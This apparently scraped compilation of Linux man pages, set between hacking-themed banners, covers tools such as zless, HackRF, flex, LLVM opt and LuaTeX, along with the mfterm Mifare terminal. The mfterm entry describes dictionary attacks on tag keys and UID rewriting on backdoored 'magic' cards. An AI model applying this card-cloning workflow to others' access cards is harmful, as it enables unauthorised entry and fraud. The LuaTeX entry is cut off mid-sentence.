░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

358 - Linux cli command zless

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zless and provides detailed information about the command zless, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zless.

NAME 🖥️ zless 🖥️

file perusal filter for crt viewing of compressed text

SYNOPSIS

zless [ name … ]

DESCRIPTION

The zless command is a filter which allows examination of compressed or plain text files one screenful at a time on a soft-copy terminal. It is the equivalent of setting the environment variable LESSOPEN to ‘|gzip -cdfq – %s’, and the environment variable LESSMETACHARS to ‘<space><tab><newline>;*?"()<>[|&^`#%=~’, and then running less. However, enough people seem to think that having the command zless available is important to be worth providing it.

SEE ALSO

zmore(1), less(1)

BUGS

The zless command does not work with compressed data that is piped to it via standard input; it requires that input files be specified as arguments. To read compressed data from a pipe, you can use . . .|gunzip|less instead of . . .|zless.

COPYRIGHT NOTICE

Copyright © 2006-2007, 2015-2022 Free Software Foundation, Inc.
Copyright © 1992, 1993 Jean-loup Gailly

Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to process this file through troff and print the results, provided the printed document carries copying permission notice identical to this one except for the removal of this paragraph (this paragraph not being relevant to the printed manual).

Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be stated in a translation approved by the Foundation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

359 - Linux cli command hackrf_info

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hackrf_info and provides detailed information about the command hackrf_info, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hackrf_info.

NAME 🖥️ hackrf_info 🖥️

probe device and show configuration

DESCRIPTION

The HackRF project started by Michael Ossmann and Jared Boone to build software radio peripheral using Free Software and Free Hardware design. Care was taken to only use electronic components with published documentation (no NDAs!) and to avoid software libraries without open source licenses.

Jawbreaker is the first complete HackRF platform, a wideband software radio transceiver with a USB interface.

This application lets the user probe the device and show configuration.

SYNOPSIS

hackrf_info

OPTIONS

none

SEE ALSO

Great Scott Gadgets HackRF web page: http://greatscottgadgets.com/hackrf/

Other hackrf programs:

hackrf_cpldjtag(1), hackrf_debug(1), hackrf_info(1), hackrf_spiflash(1), hackrf_transfer(1)

AUTHOR

This manual page was written by Maitland Bottoms for the Debian project (but may be used by others).

COPYRIGHT

Copyright (c) 2013 A. Maitland Bottoms <[email protected]>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

360 - Linux cli command mfterm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mfterm and provides detailed information about the command mfterm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mfterm.

NAME 🖥️ mfterm 🖥️

The Mifare Terminal

SYNOPSIS

mfterm [-v] [-h] [-t tagfile] [-k keyfile] [-d dictionary]

DESCRIPTION

mfterm is a terminal interface for working with Mifare tags.

The program is used as an interactive shell to read and write Mifare tags using libnfc and a libnfc compatible reader or to simply manipulate Mifare data dumps from files. See the COMMANDS section below for a description of the commands available.

In mfterm, there are a number of global state variables. One for tag data, one for keys and some others. Data is read and loaded to this memory and written and saved from the same. The contents of the tag data variable is displayed using the print command. The keys in the key variable are displayed using the keys command. Both tag and key variables are 4k, but only the first 1k is used for 1k tags.

Please see the README and INSTALL files for further information.

OPTIONS

These are the command line options of mfterm.

-h, –help
Displays a help message.

-v, –version
Display version information.

-t tagfile, **–tag=**tagfile
Load a tag from the specified file. Before starting the terminal.

-k keyfile, **–keys=**keyfile
Load keys from the specified file. Before starting the terminal.

-d dictionary, **–dict=**dictionary
Load dictionary from the specified file. Before starting the terminal.

COMMANDS

These are the commands available from the mfterm prompt.

Tag Commands:

print [1k|4k]
Print the current tag data. The data is formatted to show sectors and blocks in hexadecimal. Optionally specify tag size (default is 1k).

read [A|B]
Read a tag. A libnfc compatible reader must be connected and a tag present. The keys in the key state variable will be used to authenticate each sector. Optionally specify witch key to use for reading (default is A).

write [A|B]
Write a tag. A libnfc compatible reader must be connected and a tag present. The keys in the key state variable will be used to authenticate each sector. Optionally specify witch key to use for reading (default is A).

load
Load tag data from a file. The file should be a raw binary file containing exactly 4k. If the tag data represents a 1k tag, the data should be padded.

save
Save tag data to a file. A raw binary dump of the data will be written. If the tag is a 1k tag, the data will be padded with zeroes to 4k size.

clear
Clear the current tag data in memory.

print keys [1k|4k]
Extract the key information from the tag loaded into memory and display it. This is not the same as the keys command. The later will print the keys stored in the keys variable, this prints keys from the tag.

print ac
Print the access conditions for each block. Possible values are A, B, A|B or ‘-’. Their meanings are, in turn, that the A or B or both A and B keys or neither key can be used. The columns R, W, I, D represents read, write, increment and decrement. They apply for all non trailer blocks. For the trailer blocks the columns AR, AW, ACR, ACW, BR, BW apply. They are permissions for; reading the A-key, writing the A-key, reading the access control bits, writing the access control bits, reading the B-key and writing the B-key.

set block offset = xx xx xx
Write some values to the tag variable in memory. Specify data as hexadecimal bytes separated by spaces.

Key Management Commands:

keys [1k|4k]
Print the keys currently loaded. Optionally specify if keys for the full 4k tag should be displayed or just the ones for the first 1k. Default is 1k.

keys load file
Load keys from a file into memory. The key file is a regular binary tag dump, but only the key fields are used. That means that any tag dump can be loaded as keys.

keys save file
Save the current keys in memory to a file. The keys will be saved as a normal binary tag dump with all values except the keys cleared.

keys import
Import keys from the current tag.

keys clear
Clear the keys in memory.

keys set A|B sector key
Set a specific key explicitly. Specify the key in hex, if it is an A- or B-key and what sector to set the key for.

keys test
Try to authenticate with the keys. Use this command to test a set of keys with a specific tag.

Pirate Card Commands:

These commands will only work on the back door:ed pirate cards (aka Chinese magic cards) with writable first block.

read unlocked
Read the card without using keys and disregard access control bits.

write unlocked
Write to a back door:ed 1k tag. This will write block 0 and possibly modify the UID.

Dictionary Attack Commands:

dict load file
Load a dictionary key file. This is a regular text file with one key written in hex per line. Loading multiple dictionaries will merge their contents and remove duplicates.

dict clear
Clear the key dictionary in memory.

dict attack
Find keys of a physical tag by trying all keys in the loaded dictionary. If any keys are found the current keys variable will be updated.

dict
Print the contents of the key dictionary currently loaded.

Contents Specification Commands:

spec load file
Load a specification file.

spec clear
Unload the specification.

spec
Print the specification.

MAC Commands:

These are commands for creating and validating DES MACs (message authentication codes) to sign the contents of specific blocks.

mac key [key]
Get or set MAC key.

mac compute #block
Compute the MAC for a specified block.

mac update #block
Compute the MAC for a specified block, truncate it and write it back into the current tag data.

mac validate [1k|4k]
Validates MACs for every block of the tag.

General commands:

quit
Exit the program.

help
Show a list of available commands and a short description of each.

NOTE

The mac and spec command groups are experimental. They

SEE ALSO

nfc-list(1)

LICENSE

Copyright (C) 2011-2016 Anders Sundman <[email protected]>

License GPLv3+: GNU GPL version 3 or later. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

AUTHOR

Anders Sundman <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

361 - Linux cli command systemd-tty-ask-password-agent

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-tty-ask-password-agent and provides detailed information about the command systemd-tty-ask-password-agent, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-tty-ask-password-agent.

NAME 🖥️ systemd-tty-ask-password-agent 🖥️

tty-ask-password-agent - List or process pending systemd password requests

SYNOPSIS

systemd-tty-ask-password-agent [OPTIONS…] [VARIABLE=VALUE…]

DESCRIPTION

systemd-tty-ask-password-agent is a password agent that handles password requests of the system, for example for hard disk encryption passwords or SSL certificate passwords that need to be queried at boot-time or during runtime.

systemd-tty-ask-password-agent implements the Password Agents Specification[1], and is one of many possible response agents which answer to queries formulated with systemd-ask-password(1).

OPTIONS

The following options are understood:

–list

Lists all currently pending system password requests.

Added in version 186.

–query

Process all currently pending system password requests by querying the user on the calling TTY.

Added in version 186.

–watch

Continuously process password requests.

Added in version 186.

–wall

Forward password requests to wall(1) instead of querying the user on the calling TTY.

Added in version 186.

–plymouth

Ask question with plymouth(8) instead of querying the user on the calling TTY.

Added in version 186.

–console[=DEVICE]

Ask question on TTY DEVICE instead of querying the user on the calling TTY. If DEVICE is not specified, /dev/console will be used.

Added in version 186.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), systemctl(1), systemd-ask-password-console.service(8), wall(1), plymouth(8)

NOTES

Password Agents Specification

https://systemd.io/PASSWORD_AGENTS/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

362 - Linux cli command lex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lex and provides detailed information about the command lex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lex.

NAME 🖥️ lex 🖥️

the fast lexical analyser generator

SYNOPSIS

flex [OPTIONS] [FILE]…

DESCRIPTION

Generates programs that perform pattern-matching on text.

Table Compression:

-Ca, –align
trade off larger tables for better memory alignment

-Ce, –ecs
construct equivalence classes

-Cf
do not compress tables; use -f representation

-CF
do not compress tables; use -F representation

-Cm, –meta-ecs
construct meta-equivalence classes

-Cr, –read
use read() instead of stdio for scanner input

-f, –full
generate fast, large scanner. Same as -Cfr

-F, –fast
use alternate table representation. Same as -CFr

-Cem
default compression (same as –ecs –meta-ecs)

Debugging:

-d, –debug
enable debug mode in scanner

-b, –backup
write backing-up information to lex.backup

-p, –perf-report
write performance report to stderr

-s, –nodefault
suppress default rule to ECHO unmatched text

-T, –trace
flex should run in trace mode

-w, –nowarn
do not generate warnings

-v, –verbose
write summary of scanner statistics to stdout

–hex
use hexadecimal numbers instead of octal in debug outputs

FILES

-o, –outfile=FILE
specify output filename

-S, –skel=FILE
specify skeleton file

-t, –stdout
write scanner on stdout instead of lex.yy.c

–yyclass=NAME
name of C++ class

–header-file=FILE
create a C header file in addition to the scanner

–tables-file[=FILE] write tables to FILE

–backup-file=FILE
write backing-up information to FILE

Scanner behavior:

-7, –7bit
generate 7-bit scanner

-8, –8bit
generate 8-bit scanner

-B, –batch
generate batch scanner (opposite of -I)

-i, –case-insensitive
ignore case in patterns

-l, –lex-compat
maximal compatibility with original lex

-X, –posix-compat
maximal compatibility with POSIX lex

-I, –interactive
generate interactive scanner (opposite of -B)

–yylineno
track line count in yylineno

Generated code:

-+, –c++
generate C++ scanner class

-Dmacro[=defn]
#define macro defn (default defn is ‘1’)

-L, –noline
suppress #line directives in scanner

-P, –prefix=STRING
use STRING as prefix instead of “yy”

-R, –reentrant
generate a reentrant C scanner

–bison-bridge
scanner for bison pure parser.

–bison-locations
include yylloc support.

–stdinit
initialize yyin/yyout to stdin/stdout

–nounistd
do not include <unistd.h>

–noFUNCTION
do not generate a particular FUNCTION

Miscellaneous:

-c
do-nothing POSIX option

-n
do-nothing POSIX option

-?

-h, –help
produce this help message

-V, –version
report flex version

SEE ALSO

The full documentation for flex is maintained as a Texinfo manual. If the info and flex programs are properly installed at your site, the command

info flex

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

363 - Linux cli command opt-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command opt-17 and provides detailed information about the command opt-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the opt-17.

NAME 🖥️ opt-17 🖥️

LLVM optimizer

SYNOPSIS

opt [options] [filename]

DESCRIPTION

The opt command is the modular LLVM optimizer and analyzer. It takes LLVM source files as input, runs the specified optimizations or analyses on it, and then outputs the optimized file. The optimizations available via opt depend upon what libraries were linked into it as well as any additional libraries that have been loaded with the -load option. Use the -help option to determine what optimizations you can use.

If filename is omitted from the command line or is “-”, opt reads its input from standard input. Inputs can be in either the LLVM assembly language format (.ll) or the LLVM bitcode format (.bc).

If an output filename is not specified with the -o option, opt writes its output to the standard output.

OPTIONS

-f
Enable binary output on terminals. Normally, opt will refuse to write raw bitcode output if the output stream is a terminal. With this option, opt will write raw bitcode regardless of the output device.

-help
Print a summary of command line options.

-o <filename>
Specify the output filename.

-S
Write output in LLVM intermediate language (instead of bitcode).

-{passname}
opt provides the ability to run any of LLVM’s optimization or analysis passes in any order. The -help option lists all the passes available. The order in which the options occur on the command line are the order in which they are executed (within pass constraints).

-strip-debug
This option causes opt to strip debug information from the module before applying other optimizations. It is essentially the same as -strip but it ensures that stripping of debug information is done first.

-verify-each
This option causes opt to add a verify pass after every pass otherwise specified on the command line (including -verify). This is useful for cases where it is suspected that a pass is creating an invalid module but it is not clear which pass is doing it.

-stats
Print statistics.

-time-passes
Record the amount of time needed for each pass and print it to standard error.

-debug
If this is a debug build, this option will enable debug printouts from passes which use the LLVM_DEBUG() macro. See the LLVM Programmer’s Manual, section #DEBUG for more information.

-load=<plugin>
Load the dynamic object plugin. This object should register new optimization or analysis passes. Once loaded, the object will add new command line options to enable various optimizations or analyses. To see the new complete list of optimizations, use the -help and -load options together. For example:

opt -load=plugin.so -help

-print-passes
Print all available passes and exit.

EXIT STATUS

If opt succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

364 - Linux cli command texluac

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command texluac and provides detailed information about the command texluac, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the texluac.

NAME 🖥️ texluac 🖥️

An extended version of TeX using Lua as an embedded scripting language

SYNOPSIS

luatex [–lua=FILE] [OPTION]. . . [TEXNAME[.tex]] [COMMANDS]
luatex [–lua=FILE] [OPTION]. . . *FIRST-LINE
luatex [
–lua=FILE
*] [OPTION]. . . **&**FMT [ARGS]

DESCRIPTION

Run the luaTeX typesetter on TEXNAME, usually creating TEXNAME*.pdf***. Any remaining COMMANDS are processed as luaTeX input, after TEXNAME is read.

Alternatively, if the first non-option argument begins with a backslash, interpret all non-option arguments as a line of luaTeX input.

Alternatively, if the first non-option argument begins with a &, the next word is taken as the FMT to read, overriding all else. Any remaining arguments are processed as above.

If no arguments or options are specified, prompt for input.

If called as texlua it acts as a Lua interpreter. If called as texluac it acts as a Lua bytecode compiler.

LuaTeX began as an extended version of pdfTeX with Unicode and OpenType font support, embedded Lua scripting language, the e-TeX and Omega extensions, as well as an integrated MetaPost engine, that can create PDF files as well as DVI files. For more information about luatex, see http://www.luatex.org; and you can read the LuaTeX manual using the texdoc utility (texdoc luatex).

All LuaTeX text input and output is considered to be Unicode text, although various filters make it possible to support any encoding.

In DVI mode, LuaTeX can be used as a complete replacement for the TeX engine.

In PDF mode, LuaTeX can natively handle the PDF, JPG, JBIG2, and PNG graphics formats. LuaTeX cannot include PostScript or Encapsulated PostScript (EPS) graphics files; first convert them to PDF using epstopdf(1).

The luajittex variant includes the Lua just-in-time compiler.

The luahbtex variant can use the HarfBuzz engine for glyph shaping, instead of LuaTeX’s built-in shaper.

OPTIONS

When the LuaTeX executable starts, it looks for the –lua command-line option. If there is no –lua option, the command line is interpreted in a similar fashion as in traditional pdfTeX and Aleph. But if the option is present, LuaTeX will enter an alternative mode of command-line parsing in comparison to the standard web2c programs. The presence of –lua makes most of other options unreliable, because the lua initialization file can disable kpathsea and/or hook functions into various callbacks.

Here is the list of possibly affected switches/functionality, and why:

**–lua=**FILE
The lua initialization file.

The following two options alter the executable behaviour:

–luaonly
Start LuaTeX as a Lua interpreter. In this mode, it will set Lua’s arg[0] to the found script name, pushing preceding options in negative values and the rest of the command line in the positive values, just like the Lua interpreter. LuaTeX will exit immediately after executing the specified Lua script.

–luaconly
Start LuaTeX as a Lua byte compiler. In this mode, LuaTeX is exactly like luac from the standalone Lua distribution, except that it does not have the -l switch, and that it accepts (but ignores) the –luaconly switch.

Then the regular web2c options:

–debug-format

Debug format loading.

–draftmode
Sets \pdfdraftmode so luaTeX doesn’t write a PDF and doesn’t read any included images, thus speeding up execution.

–enable-write18

Synonym for –shell-escape.

–disable-write18

Synonym for –no-shell-escape.

–shell-escape

Enable the \write18{command} construct, and Lua functions os.execute(), os.exec(), os.spawn(), and io.popen(). The command can be any shell command. This construct is normally disallowed for security reasons.

–no-shell-escape

Disable the \write18{command} construct and the other Lua functions, even if it is enabled in the texmf.cnf file.

–shell-restricted
Enable restricted version of \write18, os.execute(), os.exec(), os.spawn(), and io.popen(), only commands listed in texmf.cnf file are allowed.

–file-line-error
Print error messages in the form file:line:error which is similar to the way many compilers format them.

–no-file-line-error
Disable printing error messages in the file:line:error style.

**–fmt=**FORMAT
Use FORMAT as the name of the format to be used, instead of the name by which luaTeX was called or a %& line.

–help
Print help message and exit.

–ini
Start in INI mode, which is used to dump formats. The INI mode can be used for typesetting, but no format is preloaded, and basic initializations like setting catcodes may be required.

**–interaction=**MODE
Sets the interaction mode. The MODE can be either batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding

365 - Linux cli command x86_64-linux-gnu-gcc-ar-13

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gcc-ar-13 and provides detailed information about the command x86_64-linux-gnu-gcc-ar-13, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gcc-ar-13.

NAME 🖥️ x86_64-linux-gnu-gcc-ar-13 🖥️

ar - a wrapper around ar adding the –plugin option

SYNOPSIS

gcc-ar [OPTION] … [ARGS…]

DESCRIPTION

gcc-ar is a wrapper around ar(1) adding the appropriate –plugin option for the GCC 13 compiler.

OPTIONS

See ar(1) for a list of options that ar understands.

SEE ALSO

ar(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

366 - Linux cli command opensc-notify

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command opensc-notify and provides detailed information about the command opensc-notify, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the opensc-notify.

NAME 🖥️ opensc-notify 🖥️

notify - monitor smart card events and send notifications

SYNOPSIS

opensc-notify [OPTIONS]

DESCRIPTION

The opensc-notify utility is used to monitor smart card events and send the appropriate notification.

OPTIONS

–help, -h

Print help and exit.

–version, -V

Print version and exit.

Mode: customized

Send customized notifications.

–title [STRING], -t [STRING]

Specify the title of the notification.

–message [STRING], -m [STRING]

Specify the main text of the notification.

Mode: standard

Manually send standard notifications.

–notify-card-inserted, -I

See notify_card_inserted in opensc.conf (default=off).

–notify-card-removed, -R

See notify_card_removed in opensc.conf (default=off).

–notify-pin-good, -G

See notify_pin_good in opensc.conf (default=off).

–notify-pin-bad, -B

See notify_pin_bad in opensc.conf (default=off).

AUTHORS

opensc-notify was written by Frank Morgner <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

367 - Linux cli command waitpid

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command waitpid and provides detailed information about the command waitpid, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the waitpid.

NAME 🖥️ waitpid 🖥️

utility to wait for arbitrary processes

SYNOPSIS

waitpid [-v] [–timeout|-t seconds] pid…

DESCRIPTION

waitpid is a simple command to wait for arbitrary non-child processes.

It exits after all processes whose PIDs have been passed as arguments have exited.

OPTIONS

-v, –verbose

Be more verbose.

-t, –timeout seconds

Maximum wait time.

-e, –exited

Don’t error on already exited PIDs.

-c, –count count

Number of process exits to wait for.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

EXIT STATUS

waitpid has the following exit status values:

0

success

1

unspecified failure

2

system does not provide necessary functionality

3

timeout expired

AUTHORS

SEE ALSO

waitpid(2) wait(1P)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The waitpid command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

